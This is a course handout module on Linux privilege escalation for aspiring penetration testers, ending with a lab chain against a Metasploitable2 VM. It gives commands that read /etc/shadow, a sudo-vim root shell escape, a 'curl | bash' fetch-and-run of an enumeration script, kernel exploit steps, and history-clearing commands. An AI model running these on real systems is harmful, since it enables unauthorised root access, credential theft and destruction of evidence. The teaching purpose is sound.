■ LINUX FOR HACKERS
Privilege Escalation & Your Path Forward
MODULE 5 OF 5 · PRIVILEGE ESCALATION + NEXT STEPS
What is Privilege Escalation?
You've landed a shell as a low-privilege user. Now what? Privilege escalation (privesc) is
the art of moving from a normal user account to root — gaining full control of the system.
This is often the most critical and creative phase of an engagement.
Why Does Privesc Exist?
■ Misconfigured file permissions (world-writable scripts run by root)
■ SUID/SGID binaries that run as root regardless of who executes them
■ Weak sudo rules — a user can run certain programs as root
■ Outdated kernel or software with known CVEs
■ Credentials stored in plaintext config files or environment variables
■ Writable cron jobs or services running as privileged users
Initial Enumeration After Landing a Shell
COMMAND WHAT IT DOES
id && whoami Who am I? What groups am I in?
sudo -l List what I can run as sudo (CRITICAL!)
cat /etc/passwd List all user accounts on system
cat /etc/shadow Password hashes (root only — but check!)
uname -r Kernel version — search for CVEs
lsb_release -a OS version
ps aux Running processes — what is root running?
crontab -l My crontab jobs
cat /etc/crontab System-wide cron jobs
ls -la /etc/cron.*/ All cron directories
env Environment variables — any passwords?
Linux for Hackers · Page 1 For educational purposes only — hack ethically!
find / -perm -4000 2>/dev/null Find all SUID binaries
find / -writable -type f 2>/dev/null Find writable files
SUDO Misconfigurations
Run sudo -l first. If you can run ANY command as sudo, check GTFOBins ([Link])
for an instant root method.
Example: sudo -l shows you can run: (root) NOPASSWD: /usr/bin/vim
:!bash
You opened vim as root, typed :!bash, and now have a root shell. GTFOBins documents this
for hundreds of binaries.
SUID Binary Exploitation
SUID binaries run as their OWNER regardless of who executes them. If root owns an SUID
binary, running it gives you root privileges.
# Find all SUID binaries:
find / -perm -4000 -type f 2>/dev/null
Then cross-reference each result on GTFOBins. Common vulnerable ones: find, python, php, perl,
cp, awk, bash, nmap (older versions).
Automated Enumeration Scripts
COMMAND WHAT IT DOES
[Link] LinPEAS — comprehensive Linux privesc checker (most popular)
[Link] LinEnum — older but still widely used
pspy64 Monitor processes without root (catch cron jobs)
[Link] Linux Smart Enumeration — graduated output levels
Download linpeas from: [Link]/carlospolop/PEASS-ng
Transfer to target: python3 -m [Link] 8080 then curl [Link] | bash
Kernel Exploits
If the kernel version is old (uname -r), search for public exploits. This is a last resort
— kernel exploits can crash the system.
COMMAND WHAT IT DOES
uname -r Get kernel version
searchsploit linux kernel 4.4 Search local exploit-db (Kali: kali-linux-large)
Linux for Hackers · Page 2 For educational purposes only — hack ethically!
gcc exploit.c -o exploit Compile a C exploit
./exploit Run and (hopefully) get root
Covering Your Tracks (Defensive Awareness)
Understanding how attackers cover tracks makes you a better defender. As an ethical hacker,
you should NEVER destroy evidence on a client engagement.
COMMAND WHAT IT DOES
history -c && history -w Clear bash history (attackers do this)
export HISTSIZE=0 Prevent history from being saved in session
cat /var/log/[Link] See who logged in and when
last Login history
lastb Failed login attempts
ausearch -ua root Audit log search (if auditd running)
■■ On real engagements: document everything, clear nothing. Tampering with logs = illegal!
Your Learning Roadmap
Practice Platforms TryHackMe, HackTheBox, VulnHub, PentesterLab, OverTheWire
Certifications eJPT (free), CEH, OSCP (gold standard), PNPT
Tool Mastery Metasploit, Burp Suite, Wireshark, BloodHound, Impacket
Specialise Web hacking, AD attacks, mobile, reverse engineering, malware
CTFs Capture The Flag competitions — great for structured learning
Read The Web App Hacker's Handbook, Hacking: The Art of Exploitation
Community r/netsec, HTB Discord, 0x00sec, OWASP chapters
Final Lab — Full Mini CTF
Set up a Metasploitable2 VM and complete this full chain:
■ Step 1: Discover the VM's IP on your network using nmap -sn 192.168.x.0/24
■ Step 2: Full port scan: nmap -sV -A -p- [target IP]
■ Step 3: Identify a vulnerable service and find its CVE (try vsftpd 2.3.4 or UnrealIRCd)
■ Step 4: Use Metasploit (msfconsole) to exploit it and get a shell
■ Step 5: Run [Link] and identify at least 2 privilege escalation vectors
■ Step 6: Escalate to root and capture the flag in /root/[Link]
Linux for Hackers · Page 3 For educational purposes only — hack ethically!
■ Step 7: Write a one-page report documenting your findings, impact, and remediation
advice
You've completed the Linux for Hackers course. Remember: with great power comes great
responsibility. Hack ethically. Get permission. Document everything. Stay curious.
[ COURSE COMPLETE — MODULE 5/5 ]
Linux for Hackers · Page 4 For educational purposes only — hack ethically!